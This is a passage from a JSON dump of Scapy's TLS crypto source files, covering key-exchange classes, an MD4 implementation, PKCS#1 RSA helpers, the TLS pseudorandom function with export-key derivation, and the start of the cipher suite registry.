_,m: None  # No SKE with kerberos\n#     client_kx_msg_cls = None\n\n# class KX_KRB5_EXPORT(KX_KRB5):\n#     descr = \"Kerberos 5 key exchange - Export version\"\n\n\n# Unauthenticated key exchange (opportunistic encryption)\n\nclass KX_DH_anon(_GenericKX):\n    descr = \"Anonymous DH, no signatures\"\n    server_kx_msg_cls = lambda _, m: ServerDHParams\n    client_kx_msg_cls = ClientDiffieHellmanPublic\n\n\nclass KX_ECDH_anon(_GenericKX):\n    descr = \"ECDH anonymous key exchange\"\n    server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m)\n    client_kx_msg_cls = ClientECDiffieHellmanPublic\n\n\nclass KX_DH_anon_EXPORT(KX_DH_anon):\n    descr = \"Anonymous DH, no signatures - Export version\"\n"
  },
  {
    "path": "scapy/layers/tls/crypto/md4.py",
    "content": "# SPDX-License-Identifier: WTFPL\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2019 James Seo <james@equiv.tech> (github.com/kangtastic).\n\n\"\"\"\nMD4 implementation\n\nModified from:\nhttps://gist.github.com/kangtastic/c3349fc4f9d659ee362b12d7d8c639b6\n\"\"\"\n\nimport struct\n\n\nclass MD4:\n    \"\"\"\n    An implementation of the MD4 hash algorithm.\n\n    Modified to provide the same API as hashlib's.\n    \"\"\"\n    name = 'md4'\n    block_size = 64\n    width = 32\n    mask = 0xFFFFFFFF\n\n    # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating!\n    h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]\n\n    def __init__(self, msg=b\"\"):\n        self.msg = msg\n\n    def update(self, msg):\n        self.msg += msg\n\n    def digest(self):\n        # Pre-processing: Total length is a multiple of 512 bits.\n        ml = len(self.msg) * 8\n        self.msg += b\"\\x80\"\n        self.msg += b\"\\x00\" * (-(len(self.msg) + 8) % self.block_size)\n        self.msg += struct.pack(\"<Q\", ml)\n\n        # Process the message in successive 512-bit chunks.\n        self._process([self.msg[i: i + self.block_size]\n                      for i in range(0, len(self.msg), self.block_size)])\n\n        return struct.pack(\"<4L\", *self.h)\n\n    def _process(self, chunks):\n        for chunk in chunks:\n            X, h = list(struct.unpack(\"<16I\", chunk)), self.h.copy()\n\n            # Round 1.\n            Xi = [3, 7, 11, 19]\n            for n in range(16):\n                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))\n                K, S = n, Xi[n % 4]\n                hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]\n                h[i] = MD4.lrot(hn & MD4.mask, S)\n\n            # Round 2.\n            Xi = [3, 5, 9, 13]\n            for n in range(16):\n                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))\n                K, S = n % 4 * 4 + n // 4, Xi[n % 4]\n                hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999\n                h[i] = MD4.lrot(hn & MD4.mask, S)\n\n            # Round 3.\n            Xi = [3, 9, 11, 15]\n            Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]\n            for n in range(16):\n                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))\n                K, S = Ki[n], Xi[n % 4]\n                hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1\n                h[i] = MD4.lrot(hn & MD4.mask, S)\n\n            self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]\n\n    @staticmethod\n    def F(x, y, z):\n        return (x & y) | (~x & z)\n\n    @staticmethod\n    def G(x, y, z):\n        return (x & y) | (x & z) | (y & z)\n\n    @staticmethod\n    def H(x, y, z):\n        return x ^ y ^ z\n\n    @staticmethod\n    def lrot(value, n):\n        lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)\n        return lbits | rbits\n"
  },
  {
    "path": "scapy/layers/tls/crypto/pkcs1.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2008 Arnaud Ebalard <arno@natisbad.org>\n#   2015, 2016, 2017 Maxence Tury <maxence.tury@ssi.gouv.fr>\n\n\"\"\"\nPKCS #1 methods as defined in RFC 3447.\n\nWe cannot rely solely on the cryptography library, because the openssl package\nused by the cryptography library may not implement the md5-sha1 hash, as with\nUbuntu or OSX. This is why we reluctantly keep some legacy crypto here.\n\"\"\"\n\nfrom scapy.compat import bytes_encode, hex_bytes, bytes_hex\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.error import warning\nif conf.crypto_valid:\n    from cryptography.exceptions import InvalidSignature, UnsupportedAlgorithm\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives import hashes\n    from cryptography.hazmat.primitives.asymmetric import padding\n    from cryptography.hazmat.primitives.hashes import HashAlgorithm\n\n\n#####################################################################\n# Some helpers\n#####################################################################\n\ndef pkcs_os2ip(s):\n    \"\"\"\n    OS2IP conversion function from RFC 3447.\n\n    :param s: octet string to be converted\n    :return: n, the corresponding nonnegative integer\n    \"\"\"\n    return int(bytes_hex(s), 16)\n\n\ndef pkcs_i2osp(n, sLen):\n    \"\"\"\n    I2OSP conversion function from RFC 3447.\n    The length parameter allows the function to perform the padding needed.\n    Note that the user is responsible for providing a sufficient xLen.\n\n    :param n: nonnegative integer to be converted\n    :param sLen: intended length of the resulting octet string\n    :return: corresponding octet string\n    \"\"\"\n    # if n >= 256**sLen:\n    #    raise Exception(\"Integer too large for provided sLen %d\" % sLen)\n    fmt = \"%%0%dx\" % (2 * sLen)\n    return hex_bytes(fmt % n)\n\n\ndef pkcs_ilen(n):\n    \"\"\"\n    This is a log base 256 which determines the minimum octet string\n    length for unequivocal representation of integer n by pkcs_i2osp.\n    \"\"\"\n    i = 0\n    while n > 0:\n        n >>= 8\n        i += 1\n    return i\n\n\n@crypto_validator\ndef _legacy_pkcs1_v1_5_encode_md5_sha1(M, emLen):\n    \"\"\"\n    Legacy method for PKCS1 v1.5 encoding with MD5-SHA1 hash.\n    \"\"\"\n    M = bytes_encode(M)\n    md5_hash = hashes.Hash(_get_hash(\"md5\"), backend=default_backend())\n    md5_hash.update(M)\n    sha1_hash = hashes.Hash(_get_hash(\"sha1\"), backend=default_backend())\n    sha1_hash.update(M)\n    H = md5_hash.finalize() + sha1_hash.finalize()\n    if emLen < 36 + 11:\n        warning(\"pkcs_emsa_pkcs1_v1_5_encode: \"\n                \"intended encoded message length too short\")\n        return None\n    PS = b'\\xff' * (emLen - 36 - 3)\n    return b'\\x00' + b'\\x01' + PS + b'\\x00' + H\n\n\n#####################################################################\n# Hash and padding helpers\n#####################################################################\n\n_get_hash = None\nif conf.crypto_valid:\n\n    # first, we add the \"md5-sha1\" hash from openssl to python-cryptography\n    class MD5_SHA1(HashAlgorithm):\n        name = \"md5-sha1\"\n        digest_size = 36\n        block_size = 64\n\n    _hashes = {\n        \"md5\": hashes.MD5,\n        \"sha1\": hashes.SHA1,\n        \"sha224\": hashes.SHA224,\n        \"sha256\": hashes.SHA256,\n        \"sha384\": hashes.SHA384,\n        \"sha512\": hashes.SHA512,\n        \"md5-sha1\": MD5_SHA1\n    }\n\n    def _get_hash(hashStr):\n        try:\n            return _hashes[hashStr]()\n        except KeyError:\n            raise KeyError(\"Unknown hash function %s\" % hashStr)\n\n    def _get_padding(padStr, mgf=padding.MGF1, h=hashes.SHA256, label=None):\n        if padStr == \"pkcs\":\n            return padding.PKCS1v15()\n        elif padStr == \"pss\":\n            # Can't find where this is written, but we have to use the digest\n            # size instead of the automatic padding.PSS.MAX_LENGTH.\n            return padding.PSS(mgf=mgf(h), salt_length=h.digest_size)\n        elif padStr == \"oaep\":\n            return padding.OAEP(mgf=mgf(h), algorithm=h, label=label)\n        else:\n            warning(\"Key.encrypt(): Unknown padding type (%s)\", padStr)\n            return None\n\n\n#####################################################################\n# Asymmetric Cryptography wrappers\n#####################################################################\n\n# Make sure that default values are consistent across the whole TLS module,\n# lest they be explicitly set to None between cert.py and pkcs1.py.\n\nclass _EncryptAndVerifyRSA(object):\n\n    @crypto_validator\n    def encrypt(self, m, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        mgf = mgf or padding.MGF1\n        h = _get_hash(h)\n        pad = _get_padding(t, mgf, h, L)\n        return self.pubkey.encrypt(m, pad)\n\n    @crypto_validator\n    def verify(self, M, S, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        M = bytes_encode(M)\n        mgf = mgf or padding.MGF1\n        h = _get_hash(h)\n        pad = _get_padding(t, mgf, h, L)\n        try:\n            try:\n                self.pubkey.verify(S, M, pad, h)\n            except UnsupportedAlgorithm:\n                if t != \"pkcs\" and h != \"md5-sha1\":\n                    raise UnsupportedAlgorithm(\"RSA verification with %s\" % h)\n                self._legacy_verify_md5_sha1(M, S)\n            return True\n        except InvalidSignature:\n            return False\n\n    def _legacy_verify_md5_sha1(self, M, S):\n        k = self._modulusLen // 8\n        if len(S) != k:\n            warning(\"invalid signature (len(S) != k)\")\n            return False\n        s = pkcs_os2ip(S)\n        n = self._modulus\n        if s > n - 1:\n            warning(\"Key._rsaep() expects a long between 0 and n-1\")\n            return None\n        m = pow(s, self._pubExp, n)\n        EM = pkcs_i2osp(m, k)\n        EMPrime = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k)\n        if EMPrime is None:\n            warning(\"Key._rsassa_pkcs1_v1_5_verify(): unable to encode.\")\n            return False\n        return EM == EMPrime\n\n\nclass _DecryptAndSignRSA(object):\n\n    @crypto_validator\n    def decrypt(self, C, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        mgf = mgf or padding.MGF1\n        h = _get_hash(h)\n        pad = _get_padding(t, mgf, h, L)\n        return self.key.decrypt(C, pad)\n\n    @crypto_validator\n    def sign(self, M, t=\"pkcs\", h=\"sha256\", mgf=None, L=None):\n        M = bytes_encode(M)\n        mgf = mgf or padding.MGF1\n        h = _get_hash(h)\n        pad = _get_padding(t, mgf, h, L)\n        try:\n            return self.key.sign(M, pad, h)\n        except UnsupportedAlgorithm:\n            if t != \"pkcs\" and h != \"md5-sha1\":\n                raise UnsupportedAlgorithm(\"RSA signature with %s\" % h)\n            return self._legacy_sign_md5_sha1(M)\n\n    def _legacy_sign_md5_sha1(self, M):\n        M = bytes_encode(M)\n        k = self._modulusLen // 8\n        EM = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k)\n        if EM is None:\n            warning(\"Key._rsassa_pkcs1_v1_5_sign(): unable to encode\")\n            return None\n        m = pkcs_os2ip(EM)\n        n = self._modulus\n        if m > n - 1:\n            warning(\"Key._rsaep() expects a long between 0 and n-1\")\n            return None\n        privExp = self.key.private_numbers().d\n        s = pow(m, privExp, n)\n        return pkcs_i2osp(s, k)\n"
  },
  {
    "path": "scapy/layers/tls/crypto/prf.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nTLS Pseudorandom Function.\n\"\"\"\n\nfrom scapy.error import warning\nfrom scapy.utils import strxor\n\nfrom scapy.layers.tls.crypto.hash import _tls_hash_algs\nfrom scapy.layers.tls.crypto.h_mac import _tls_hmac_algs\nfrom scapy.compat import bytes_encode\n\n\n# Data expansion functions\n\ndef _tls_P_hash(secret, seed, req_len, hm):\n    \"\"\"\n    Provides the implementation of P_hash function defined in\n    section 5 of RFC 4346 (and section 5 of RFC 5246). Two\n    parameters have been added (hm and req_len):\n\n    - secret : the key to be used. If RFC 4868 is to be believed,\n               the length must match hm.key_len. Actually,\n               python hmac takes care of formatting every key.\n    - seed : the seed to be used.\n    - req_len : the length of data to be generated by iterating\n               the specific HMAC function (hm). This prevents\n               multiple calls to the function.\n    - hm : the hmac function class to use for iteration (either\n           Hmac_MD5 or Hmac_SHA1 in TLS <= 1.1 or\n           Hmac_SHA256 or Hmac_SHA384 in TLS 1.2)\n    \"\"\"\n    hash_len = hm.hash_alg.hash_len\n    n = (req_len + hash_len - 1) // hash_len\n    seed = bytes_encode(seed)\n\n    res = b\"\"\n    a = hm(secret).digest(seed)  # A(1)\n\n    while n > 0:\n        res += hm(secret).digest(a + seed)\n        a = hm(secret).digest(a)\n        n -= 1\n\n    return res[:req_len]\n\n\ndef _tls_P_MD5(secret, seed, req_len):\n    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs[\"HMAC-MD5\"])\n\n\ndef _tls_P_SHA1(secret, seed, req_len):\n    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs[\"HMAC-SHA\"])\n\n\ndef _tls_P_SHA256(secret, seed, req_len):\n    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs[\"HMAC-SHA256\"])\n\n\ndef _tls_P_SHA384(secret, seed, req_len):\n    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs[\"HMAC-SHA384\"])\n\n\ndef _tls_P_SHA512(secret, seed, req_len):\n    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs[\"HMAC-SHA512\"])\n\n\n# PRF functions, according to the protocol version\n\ndef _sslv2_PRF(secret, seed, req_len):\n    hash_md5 = _tls_hash_algs[\"MD5\"]()\n    rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len\n\n    res = b\"\"\n    if rounds == 1:\n        res += hash_md5.digest(secret + seed)\n    else:\n        r = 0\n        while r < rounds:\n            label = str(r).encode(\"utf8\")\n            res += hash_md5.digest(secret + label + seed)\n            r += 1\n\n    return res[:req_len]\n\n\ndef _ssl_PRF(secret, seed, req_len):\n    \"\"\"\n    Provides the implementation of SSLv3 PRF function:\n\n     SSLv3-PRF(secret, seed) =\n        MD5(secret || SHA-1(\"A\" || secret || seed)) ||\n        MD5(secret || SHA-1(\"BB\" || secret || seed)) ||\n        MD5(secret || SHA-1(\"CCC\" || secret || seed)) || ...\n\n    req_len should not be more than  26 x 16 = 416.\n    \"\"\"\n    if req_len > 416:\n        warning(\"_ssl_PRF() is not expected to provide more than 416 bytes\")\n        return \"\"\n\n    d = [b\"A\", b\"B\", b\"C\", b\"D\", b\"E\", b\"F\", b\"G\", b\"H\", b\"I\", b\"J\", b\"K\", b\"L\",  # noqa: E501\n         b\"M\", b\"N\", b\"O\", b\"P\", b\"Q\", b\"R\", b\"S\", b\"T\", b\"U\", b\"V\", b\"W\", b\"X\",  # noqa: E501\n         b\"Y\", b\"Z\"]\n    res = b\"\"\n    hash_sha1 = _tls_hash_algs[\"SHA\"]()\n    hash_md5 = _tls_hash_algs[\"MD5\"]()\n    rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len\n\n    for i in range(rounds):\n        label = d[i] * (i + 1)\n        tmp = hash_sha1.digest(label + secret + seed)\n        res += hash_md5.digest(secret + tmp)\n\n    return res[:req_len]\n\n\ndef _tls_PRF(secret, label, seed, req_len):\n    \"\"\"\n    Provides the implementation of TLS PRF function as defined in\n    section 5 of RFC 4346:\n\n    PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR\n                               P_SHA-1(S2, label + seed)\n\n    Parameters are:\n\n    - secret: the secret used by the HMAC in the 2 expansion\n              functions (S1 and S2 are the halves of this secret).\n    - label: specific label as defined in various sections of the RFC\n             depending on the use of the generated PRF keystream\n    - seed: the seed used by the expansion functions.\n    - req_len: amount of keystream to be generated\n    \"\"\"\n    tmp_len = (len(secret) + 1) // 2\n    S1 = secret[:tmp_len]\n    S2 = secret[-tmp_len:]\n\n    a1 = _tls_P_MD5(S1, label + seed, req_len)\n    a2 = _tls_P_SHA1(S2, label + seed, req_len)\n\n    return strxor(a1, a2)\n\n\ndef _tls12_SHA256PRF(secret, label, seed, req_len):\n    \"\"\"\n    Provides the implementation of TLS 1.2 PRF function as\n    defined in section 5 of RFC 5246:\n\n    PRF(secret, label, seed) = P_SHA256(secret, label + seed)\n\n    Parameters are:\n\n    - secret: the secret used by the HMAC in the 2 expansion\n              functions (S1 and S2 are the halves of this secret).\n    - label: specific label as defined in various sections of the RFC\n             depending on the use of the generated PRF keystream\n    - seed: the seed used by the expansion functions.\n    - req_len: amount of keystream to be generated\n    \"\"\"\n    return _tls_P_SHA256(secret, label + seed, req_len)\n\n\ndef _tls12_SHA384PRF(secret, label, seed, req_len):\n    return _tls_P_SHA384(secret, label + seed, req_len)\n\n\ndef _tls12_SHA512PRF(secret, label, seed, req_len):\n    return _tls_P_SHA512(secret, label + seed, req_len)\n\n\nclass PRF(object):\n    \"\"\"\n    The PRF used by SSL/TLS varies based on the version of the protocol and\n    (for TLS 1.2) possibly the Hash algorithm of the negotiated cipher suite.\n    The various uses of the PRF (key derivation, computation of verify_data,\n    computation of pre_master_secret values) for the different versions of the\n    protocol also changes. In order to abstract those elements, the common\n    _tls_PRF() object is provided. It is expected to be initialised in the\n    context of the connection state using the tls_version and the cipher suite.\n    \"\"\"\n\n    def __init__(self, hash_name=\"SHA256\", tls_version=0x0303):\n        self.tls_version = tls_version\n        self.hash_name = hash_name\n\n        if tls_version < 0x0300:            # SSLv2\n            self.prf = _sslv2_PRF\n        elif tls_version == 0x0300:         # SSLv3\n            self.prf = _ssl_PRF\n        elif (tls_version == 0x0301 or      # TLS 1.0\n              tls_version == 0x0302):       # TLS 1.1\n            self.prf = _tls_PRF\n        elif tls_version == 0x0303:         # TLS 1.2\n            if hash_name == \"SHA384\":\n                self.prf = _tls12_SHA384PRF\n            elif hash_name == \"SHA512\":\n                self.prf = _tls12_SHA512PRF\n            else:\n                if hash_name in [\"MD5\", \"SHA\"]:\n                    self.hash_name = \"SHA256\"\n                self.prf = _tls12_SHA256PRF\n        else:\n            warning(\"Unknown TLS version\")\n\n    def compute_master_secret(self, pre_master_secret, client_random,\n                              server_random, extms=False, handshake_hash=None):\n        \"\"\"\n        Return the 48-byte master_secret, computed from pre_master_secret,\n        client_random and server_random. See RFC 5246, section 6.3.\n        Supports Extended Master Secret Derivation, see RFC 7627\n        \"\"\"\n        seed = client_random + server_random\n        label = b'master secret'\n\n        if extms is True and handshake_hash is not None:\n            seed = handshake_hash\n            label = b'extended master secret'\n\n        if self.tls_version < 0x0300:\n            return None\n        elif self.tls_version == 0x0300:\n            return self.prf(pre_master_secret, seed, 48)\n        else:\n            return self.prf(pre_master_secret, label, seed, 48)\n\n    def derive_key_block(self, master_secret, server_random,\n                         client_random, req_len):\n        \"\"\"\n        Perform the derivation of master_secret into a key_block of req_len\n        requested length. See RFC 5246, section 6.3.\n        \"\"\"\n        seed = server_random + client_random\n        if self.tls_version <= 0x0300:\n            return self.prf(master_secret, seed, req_len)\n        else:\n            return self.prf(master_secret, b\"key expansion\", seed, req_len)\n\n    def compute_verify_data(self, con_end, read_or_write,\n                            handshake_msg, master_secret):\n        \"\"\"\n        Return verify_data based on handshake messages, connection end,\n        master secret, and read_or_write position. See RFC 5246, section 7.4.9.\n\n        Every TLS 1.2 cipher suite has a verify_data of length 12. Note also::\n\n            \"This PRF with the SHA-256 hash function is used for all cipher\n            suites defined in this document and in TLS documents published\n            prior to this document when TLS 1.2 is negotiated.\"\n\n        Cipher suites using SHA-384 were defined later on.\n        \"\"\"\n        if self.tls_version < 0x0300:\n            return None\n        elif self.tls_version == 0x0300:\n\n            if read_or_write == \"write\":\n                d = {\"client\": b\"CLNT\", \"server\": b\"SRVR\"}\n            else:\n                d = {\"client\": b\"SRVR\", \"server\": b\"CLNT\"}\n            label = d[con_end]\n\n            sslv3_md5_pad1 = b\"\\x36\" * 48\n            sslv3_md5_pad2 = b\"\\x5c\" * 48\n            sslv3_sha1_pad1 = b\"\\x36\" * 40\n            sslv3_sha1_pad2 = b\"\\x5c\" * 40\n\n            md5 = _tls_hash_algs[\"MD5\"]()\n            sha1 = _tls_hash_algs[\"SHA\"]()\n\n            md5_hash = md5.digest(master_secret + sslv3_md5_pad2 +\n                                  md5.digest(handshake_msg + label +\n                                             master_secret + sslv3_md5_pad1))\n            sha1_hash = sha1.digest(master_secret + sslv3_sha1_pad2 +\n                                    sha1.digest(handshake_msg + label +\n                                                master_secret + sslv3_sha1_pad1))  # noqa: E501\n            verify_data = md5_hash + sha1_hash\n\n        else:\n\n            if read_or_write == \"write\":\n                d = {\"client\": \"client\", \"server\": \"server\"}\n            else:\n                d = {\"client\": \"server\", \"server\": \"client\"}\n            label = (\"%s finished\" % d[con_end]).encode()\n\n            if self.tls_version <= 0x0302:\n                s1 = _tls_hash_algs[\"MD5\"]().digest(handshake_msg)\n                s2 = _tls_hash_algs[\"SHA\"]().digest(handshake_msg)\n                verify_data = self.prf(master_secret, label, s1 + s2, 12)\n            else:\n                h = _tls_hash_algs[self.hash_name]()\n                s = h.digest(handshake_msg)\n                verify_data = self.prf(master_secret, label, s, 12)\n\n        return verify_data\n\n    def postprocess_key_for_export(self, key, client_random, server_random,\n                                   con_end, read_or_write, req_len):\n        \"\"\"\n        Postprocess cipher key for EXPORT ciphersuite, i.e. weakens it.\n        An export key generation example is given in section 6.3.1 of RFC 2246.\n        See also page 86 of EKR's book.\n        \"\"\"\n        s = con_end + read_or_write\n        s = (s == \"clientwrite\" or s == \"serverread\")\n\n        if self.tls_version < 0x0300:\n            return None\n        elif self.tls_version == 0x0300:\n            if s:\n                tbh = key + client_random + server_random\n            else:\n                tbh = key + server_random + client_random\n            export_key = _tls_hash_algs[\"MD5\"]().digest(tbh)[:req_len]\n        else:\n            if s:\n                tag = b\"client write key\"\n            else:\n                tag = b\"server write key\"\n            export_key = self.prf(key,\n                                  tag,\n                                  client_random + server_random,\n                                  req_len)\n        return export_key\n\n    def generate_iv_for_export(self, client_random, server_random,\n                               con_end, read_or_write, req_len):\n        \"\"\"\n        Generate IV for EXPORT ciphersuite, i.e. weakens it.\n        An export IV generation example is given in section 6.3.1 of RFC 2246.\n        See also page 86 of EKR's book.\n        \"\"\"\n        s = con_end + read_or_write\n        s = (s == \"clientwrite\" or s == \"serverread\")\n\n        if self.tls_version < 0x0300:\n            return None\n        elif self.tls_version == 0x0300:\n            if s:\n                tbh = client_random + server_random\n            else:\n                tbh = server_random + client_random\n            iv = _tls_hash_algs[\"MD5\"]().digest(tbh)[:req_len]\n        else:\n            iv_block = self.prf(\"\",\n                                b\"IV block\",\n                                client_random + server_random,\n                                2 * req_len)\n            if s:\n                iv = iv_block[:req_len]\n            else:\n                iv = iv_block[req_len:]\n        return iv\n"
  },
  {
    "path": "scapy/layers/tls/crypto/suites.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nTLS cipher suites.\n\nA comprehensive list of specified cipher suites can be consulted at:\nhttps://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml\n\"\"\"\n\nfrom scapy.layers.tls.crypto.kx_algs import _tls_kx_algs\nfrom scapy.layers.tls.crypto.hash import _tls_hash_algs\nfrom scapy.layers.tls.crypto.h_mac import _tls_hmac_algs\nfrom scapy.layers.tls.crypto.ciphers import _tls_cipher_algs\n\n\ndef get_algs_from_ciphersuite_name(ciphersuite_name):\n    \"\"\"\n    Return the 3-tuple made of the Key Exchange Algorithm class, the Cipher\n    class and the HMAC class, through the parsing of the ciphersuite name.\n    \"\"\"\n    tls1_3 = False\n    if ciphersuite_name.startswith(\"TLS\"):\n        s = ciphersuite_name[4:]\n\n        if s.endswith(\"CCM\") or s.endswith(\"CCM_8\"):\n            kx_name, s = s.split(\"_WITH_\")\n            kx_alg = _tls_kx_algs.get(kx_name)\n            hash_alg = _tls_hash_algs.get(\"SHA256\")\n            cipher_alg = _tls_cipher_algs.get(s)\n            hmac_alg = None\n\n        else:\n            if \"WITH\" in s:\n                kx_name, s = s.split(\"_WITH_\")\n                kx_alg = _tls_kx_algs.get(kx_name)\n            else:\n                tls1_3 = True\n                kx_alg = _tls_kx_algs.get(\"TLS13\")\n\n            hash_name = s.split('_')[-1]\n            hash_alg = _tls_hash_algs.get(hash_name)\n\n            cipher_name = s[:-(len(hash_name) + 1)]\n            if tls1_3:\n                cipher_name += \"_TLS13\"\n            cipher_alg = _tls_cipher_algs.get(cipher_name)\n\n            hmac_alg = None\n            if cipher_alg is not None and cipher_alg.type != \"aead\":\n                hmac_name = \"HMAC-%s\" % hash_name\n                hmac_alg = _tls_hmac_algs.get(hmac_name)\n\n    elif ciphersuite_name.startswith(\"SSL\"):\n        s = ciphersuite_name[7:]\n        kx_alg = _tls_kx_algs.get(\"SSLv2\")\n        cipher_name, hash_name = s.split(\"_WITH_\")\n        cipher_alg = _tls_cipher_algs.get(cipher_name.rstrip(\"_EXPORT40\"))\n        kx_alg.export = cipher_name.endswith(\"_EXPORT40\")\n        hmac_alg = _tls_hmac_algs.get(\"HMAC-NULL\")\n        hash_alg = _tls_hash_algs.get(hash_name)\n\n    return kx_alg, cipher_alg, hmac_alg, hash_alg, tls1_3\n\n\n_tls_cipher_suites = {}\n_tls_cipher_suites_cls = {}\n\n\nclass _GenericCipherSuiteMetaclass(type):\n    \"\"\"\n    Cipher suite classes are automatically registered through this metaclass.\n    Their name attribute equates their respective class name.\n\n    We also pre-compute every expected length of the key block to be generated,\n    which may vary according to the current tls_version. The default is set to\n    the TLS 1.2 length, and the value should be set at class instantiation.\n\n    Regarding the AEAD cipher suites, note that the 'hmac_alg' attribute will\n    be set to None. Yet, we always need a 'hash_alg' for the PRF.\n    \"\"\"\n    def __new__(cls, cs_name, bases, dct):\n        cs_val = dct.get(\"val\")\n\n        if cs_name != \"_GenericCipherSuite\":\n            kx, c, hm, h, tls1_3 = get_algs_from_ciphersuite_name(cs_name)\n\n            if c is None or h is None or (kx is None and not tls1_3):\n                dct[\"usable\"] = False\n            else:\n                dct[\"usable\"] = True\n                dct[\"name\"] = cs_name\n                dct[\"kx_alg\"] = kx\n                dct[\"cipher_alg\"] = c\n                dct[\"hmac_alg\"] = hm\n                dct[\"hash_alg\"] = h\n\n                if not tls1_3:\n                    kb_len = 2 * c.key_len\n\n                    if c.type == \"stream\" or c.type == \"block\":\n                        kb_len += 2 * hm.key_len\n\n                    kb_len_v1_0 = kb_len\n                    if c.type == \"block\":\n                        kb_len_v1_0 += 2 * c.block_size\n                        # no explicit IVs added for TLS 1.1+\n                    elif c.type == \"aead\":\n                        kb_len_v1_0 += 2 * c.fixed_iv_len\n                        kb_len += 2 * c.fixed_iv_len\n\n                    dct[\"_key_block_len_v1_0\"] = kb_len_v1_0\n                    dct[\"key_block_len\"] = kb_len\n\n            _tls_cipher_suites[cs_val] = cs_name\n        the_class = super(_GenericCipherSuiteMetaclass, cls).__new__(cls,\n                                                                     cs_name,\n                                                                     bases,\n                                                                     dct)\n        if cs_name != \"_GenericCipherSuite\":\n            _tls_cipher_suites_cls[cs_val] = the_class\n        return the_class\n\n\nclass _GenericCipherSuite(metaclass=_GenericCipherSuiteMetaclass):\n    def __init__(self, tls_version=0x0303):\n        \"\"\"\n        Most of the attributes are fixed and have already been set by the\n        metaclass, but we still have to provide tls_version differentiation.\n\n        For now, the key_block_len remains the only application if this.\n        Indeed for TLS 1.1+, when using a block cipher, there are no implicit\n        IVs derived from the master secret. Note that an overlong key_block_len\n        would not affect the secret generation (the trailing bytes would\n        simply be discarded), but we still provide this for completeness.\n        \"\"\"\n        super(_GenericCipherSuite, self).__init__()\n        if tls_version <= 0x301:\n            self.key_block_len = self._key_block_len_v1_0\n\n\nclass TLS_NULL_WITH_NULL_NULL(_GenericCipherSuite):\n    val = 0x0000\n\n\nclass TLS_RSA_WITH_NULL_MD5(_GenericCipherSuite):\n    val = 0x0001\n\n\nclass TLS_RSA_WITH_NULL_SHA(_GenericCipherSuite):\n    val = 0x0002\n\n\nclass TLS_RSA_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite):\n    val = 0x0003\n\n\nclass TLS_RSA_WITH_RC4_128_MD5(_GenericCipherSuite):\n    val = 0x0004\n\n\nclass TLS_RSA_WITH_RC4_128_SHA(_GenericCipherSuite):\n    val = 0x0005\n\n\nclass TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite):\n    val = 0x0006\n\n\nclass TLS_RSA_WITH_IDEA_CBC_SHA(_GenericCipherSuite):\n    val = 0x0007\n\n\nclass TLS_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):\n    val = 0x0008\n\n\nclass TLS_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite):\n    val = 0x0009\n\n\nclass TLS_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x000A\n\n\nclass TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):\n    val = 0x000B\n\n\nclass TLS_DH_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite):\n    val = 0x000C\n\n\nclass TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x000D\n\n\nclass TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):\n    val = 0x000E\n\n\nclass TLS_DH_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite):\n    val = 0x000F\n\n\nclass TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x0010\n\n\nclass TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):\n    val = 0x0011\n\n\nclass TLS_DHE_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite):\n    val = 0x0012\n\n\nclass TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):\n    val = 0x0013\n\n\nclass 